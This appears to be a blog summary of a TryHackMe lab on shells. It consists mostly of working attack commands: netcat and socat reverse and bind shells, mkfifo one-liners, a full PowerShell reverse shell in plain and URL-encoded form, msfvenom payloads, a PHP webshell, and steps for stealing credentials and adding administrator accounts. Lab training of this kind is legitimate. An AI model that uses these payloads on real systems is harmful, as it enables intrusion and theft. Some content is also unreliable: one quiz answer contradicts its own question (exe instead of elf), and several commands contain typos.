What the Shell

 

What the Shell

This is my summary of the TryHackMe | What the Shell? room. It is invaluable if you want to take your career seriously...

To refresh your knowledge on the essentials of a shell, check out this article.

Setting Up Reverse & Bind Shells

Reverse Shell example

  • On the Attack machine, setting up a listener:
    • nc -lvnp 443
  • On Target machine sending a connection from the target:
    • nc -vv 10.10.130.49 443 -e /bin/bash
  • Connection set!
  • From the Attack machine, we can investigate the Target machine by using bash commands:

Bind Shell example

  • On the Target machine, setting up a listener:
    • sudo nc -lvnp 443 -e /bin/bash
  • On the Attack machine, connect to the listener of the Target machine:
    • nc 10.10.246.55 443
  • Connection set!
  • Now, from the Attack machine, you can explore the Target machine by using bash commands:
  • Notes:
    • The majority of simple reverse and bind shells are non-interactive
    • `listener` is a shorthand way of typing `sudo rlwrap nc -lvnp 443`
    • Be aware that if you use a port below 1024, you must use `sudo` when starting your listener. That said, it's often a good idea to use a well-known port number (80, 443, or 53 being good choices), as this is more likely to bypass outbound firewall rules on the target.
    • A working example of this would be:
      • `sudo nc -lvnp 443`

Netcat Shell Stabilisation

Technique 1: Python

This applies only to Linux boxes
  1. First step: spawn a better-featured bash shell with this command: `python3 -c 'import pty;pty.spawn("/bin/bash")'`
  2. Step two is `export TERM=xterm` -- this will give us access to terminal commands such as `clear`
  3. Finally, background the shell using Ctrl + Z: use `stty raw -echo; fg`

Technique 2: rlwrap

This technique is particularly useful when dealing with Windows shells, which are otherwise notoriously difficult to stabilize.
  • `sudo apt install rlwrap`
  • `rlwrap nc -lvnp <port>`

Technique 3: Socat

This technique is limited to Linux targets, as a Socat shell on Windows will be no more stable than a netcat shell
  • Set up a web server on the attacking machine:
    • `sudo python3 -m http.server 80`
  • On the target machine, use the netcat shell to download the file:
    • On Linux: curl or wget (`wget <LOCAL-IP>/socat -O /tmp/socat`)
    • On Windows: (`Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe`)
  • Change terminal tty size:
    • First, open another terminal and run `stty -a`
    • Next, in your reverse/bind shell, type in:
      • `stty rows <number>` and `stty cols <number>`

Socat

Reverse Shells example

  • On the Attacking machine, set the reverse shell listener:
    • `socat TCP-L:443 -`
  • On the Target machine, connect back to the Attack machine:
    • On Windows:
      • `socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes`
    • On Linux:
      • `socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"`

Bind Shells example

  • On the Attacking machine, connect to the waiting listener:
    • socat TCP:<TARGET-IP>:<TARGET-PORT> -
    • On a Linux target, use the following command:
      • socat TCP-L:<PORT> EXEC:"bash -li"
    • Special listener (which is stabler):
      • socat TCP-L:<PORT> FILE:tty,raw,echo=0
    • Note: This only works when the target is Linux
    • On a Windows target, use this command for our listener:
      • socat TCP-L:<PORT> EXEC:powershell.exe,pipes
  • The special listener can be connected to any payload; however, this special listener must be activated with a *specific socat command. This means that the target must have socat installed. Most machines do not have socat installed by default; however, it's possible to upload a precompiled socat binary, which can then be executed as normal.
  • *The special command is as follows:
    • socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash li",pty,stderr,sigint,setsid,sane
  • Note: if, at any point, a socat shell is not working correctly, it's well worth increasing the verbosity by adding -d -d to the command
  • Example with the special listener:
    • Attacking machine connects to the waiting listener:
      • socat TCP:10.10.207.40:443 -
    • Target a Linux machine:
      • sudo socat TCP-L:443 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

Socat Encrypted Shells

Suffice it to say that any time TCP was used as part of a command; this should be replaced with OPENSSL when working with encrypted shells

Encrypted Reverse Shell example

  • ATTACKER
    • First, generate a certificate to use encrypted shells
      • openssl genrsa -des3 -out privatekey.key 2048
      • openssl req --new -key rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
      • openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 362
    • Second, merge the two created files into a single .pem file:
      • cat shell.key shell.crt > shell.pem
      • cat key.pem cert.pem > shell.pem
    • Third, set up our reverse shell listener on the Target:
      • socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -
  • TARGET
    • To connect back, we would use this command on the Attacker:
      • socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

Encrypted Bind Shell example

The same technique would apply to a bind shell:
  • ATTACKER 
    • socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes
  • TARGETTTACKER
    • socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

Common Shell Payloads

Bind Shell example

  • On the TARGET machine, set up a listener:
    • nc -lvnp <PORT> -e /bin/bash
    • Example: sudo nc -lvnp 443 -e /bin/bash
  • However, this is very insecure. On Windows where a static binary is nearly always required anyway, this technique will work perfectly. On Linux, however, we would instead use this code to create a listener for a bind shell**:
    • mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
    • Example: mkfifo /tmp/f; sudo nc -lvnp 443 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
  • On the ATTACK machine, connect to the listener of the Target machine:
    • nc -vv 10.10.246.55 443
  • Connection set!

Reverse Shell example

  • On the ATTACK machine, setting up a listener:
    • nc -lvnp 443
  • On the TARGET machine, sending a connection from the target:
    • nc -vv 10.10.130.49 443 -e /bin/bash
  • Connection set!
  • A very similar command (referring to **) can be used to send a netcat reverse shell:
    • mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
    • Example: mkfifo /tmp/f; sudo nc -vv 10.10.130.49 443 < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
  • When targeting modern Windows Servers, it is very common to require a Powershell reverse shell, so we'll be covering the standard one-liner PSH reverse shell:
  • powershell -c "$client = New-Object System.Net.Sockets.TCPClient('**<ip>**',**<port>**);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  • Note: it’s also possible to do it with PowerCat

msfvenom

MsfVenom - a Metasploit standalone payload generator. This is the one-stop shop for all things payload-related.

Part of the Metasploit framework, msfvenom generates code for primarily reverse and bind shells. It is used extensively in lower-level exploit development to generate hexadecimal shellcode when developing something like a Buffer Overflow exploit; however, it can also generate payloads in various formats (e.g., .exe.aspx.war.py). We will use this latter function in this room.
  • The syntax for msfvenom is:
    • msfvenom -p <PAYLOAD> <OPTIONS>
  • For example, to generate a Windows x64 Reverse Shell in an exe format, we could use:
    • msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

Staged vs Stageless

  • Staged payloads are sent in two parts. The first part is called the stager. This piece of code is executed directly on the server itself. It connects to a waiting listener but contains no reverse shell code. Instead, it connects to the listener and uses the connection to load the real payload, executing it directly and preventing it from touching the disk where it could be caught by traditional anti-virus solutions. Thus, the payload is split into two parts -- a small initial stager, then the bulkier reverse shell code, which is downloaded when the stager is activated. Staged payloads require a special listener -- usually the Metasploit multi/handler.
  • Stageless payloads are more common -- these are what we've been using up until now. They are entirely self-contained in that there is one piece of code that, when executed, sends a shell back immediately to the waiting listener.
  • Example of a stageless reverse shell payload:
    • linux/x86/shell_reverse_tcp
    • Note: Stageless payloads are denoted with underscores (_)
  • Example of a staged reverse shell payload:
    • shell/reverse_tcp
    • Note: Staged payloads are denoted with a forward slash (/).
  • This rule also applies to Meterpreter payloads. A Windows 64-bit staged Meterpreter payload would look like this:
    • windows/x64/meterpreter/reverse_tcp
  • A Linux 32-bit stageless Meterpreter payload would look like this:
    • linux/x86/meterpreter_reverse_tcp
  • Challenge: What command would you use to generate a staged Meterpreter reverse shell for a 64-bit Linux target, assuming your IP was 10.10.10.5, and you were listening on port 443? The format for the shell is elf, and the output filename should be shell
  • Answer: msfvenom -p linux/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=10.10.10.5 LPORT=443

Metasploit multi/handler

Multi/Handler is a tool for catching reverse shells

STEPS
  • Open Metasploit with `msfconsole`
  • Type `use multi/handler`, and press Enter
There are three options we need to set: payload, LHOST, and LPORT.

We set these options with the following commands:
  • set PAYLOAD <payload>
  • set LHOST <listen-address>
  • set LPORT <listen-port>
Start the listener by using the `exploit -j` command. This tells Metasploit to launch the module, running as a job in the background:


When the staged payload generated in the previous task is run, Metasploit receives the connection, sending the remainder of the payload and giving us a reverse shell:


Notice that, because the multi/handler was originally backgrounded, we needed to use sessions 1 to foreground it again. This worked as it was the only session running. Had there been other sessions active, we would have needed to use sessions to see all active sessions, then use sessions <number> to select the appropriate session to foreground. This number would also have been displayed in the line where the shell was opened (see "Command Shell session 1 opened").

WebShells

Upload a webshell via the upload button/functionality. See the Upload Vulnerabilities Room for a more extensive look at this concept.

In one-line format:
  • <?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
  • This will take a GET parameter in the URL and execute it on the system with shell_exec(). Essentially, any commands we enter in the URL after ?cmd= will be executed on the system -- be it Windows or Linux. The "pre" elements are to ensure that the results are formatted correctly on the page

  • Notice that when navigating the shell, we used a GET parameter "cmd" with the command "ifconfig", which correctly returned the network information of the box. In other words, by entering the ifconfig command (used to check the network interfaces on a Linux target) into the URL of our shell, it was executed on the system, with the results returned to us. This would work for any other command we chose (e.g., whoami, hostname, arch, etc)
  • As mentioned previously, there’s a variety of webshells available on Kali by default at /usr/share/webshells -- including the infamous PentestMonkey php-reverse-shell -- a full reverse shell written in PHP. Note that most generic, language-specific (e.g., PHP) reverse shells are written for Unix-based targets, such as Linux web servers. They will not work on Windows by default
  • When targeting Windows, it is often easiest to obtain RCE using a web shell or by using msfvenom to generate a reverse/bind shell in the server's language. With the former method, obtaining RCE is often done with a URL-encoded PowerShell reverse Shell. This would be copied into the URL as the cmd argument:
  • powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
  • Remember that the IP and Port (bold, towards the end of the top line) will still need to be changed in the above code

Next Steps

Ok, we have a shell. Now what?

We've covered lots of ways to generate, send, and receive shells. The one thing that they all have in common is that they tend to be unstable and non-interactive. Even Unix-style shells, which are easier to stabilise, are not ideal. So, what can we do about this?
  • On Linux, we would be looking for opportunities to gain access to a user account. SSH keys stored at /home/<user>/.ssh are often an ideal way to do this. In CTFs, it's also not infrequent to find credentials lying around somewhere on the box. Some exploits will also allow you to add your account. In particular, something like Dirty C0w or a writeable /etc/shadow or /etc/passwd would quickly grant you SSH access to the machine, assuming SSH is open.
  • On Windows, the options are often more limited. It's sometimes possible to find passwords for running services in the registry. VNC servers, for example, frequently leave passwords in the registry stored in plaintext. Some versions of the FileZilla FTP server also leave credentials in an XML file at C:\Program Files\FileZilla Server\FileZilla Server.xml or C:\xampp\FileZilla Server\FileZilla Server.xml. These can be MD5 hashes or in plaintext, depending on the version.
  • Ideally, on Windows, you would obtain a shell running as the SYSTEM user, or an administrator account running with high privileges. In such a situation, it's possible to add your account (in the administrator's group) to the machine, then log in using RDP, telnet, winexe, psexec, WinRM, or any number of other methods, dependent on the services running on the box. The syntax for this is as follows: net user <username> <password> /add net localgroup administrators <username> /add
The important takeaway from this task:

Reverse and bind shells are an essential technique for gaining remote code execution on a machine; however, they will never be as fully featured as a native shell. Ideally, we always want to escalate to using a "normal" method for accessing the machine, as this will invariably be easier to use for further exploitation of the target.

Comments

Popular Posts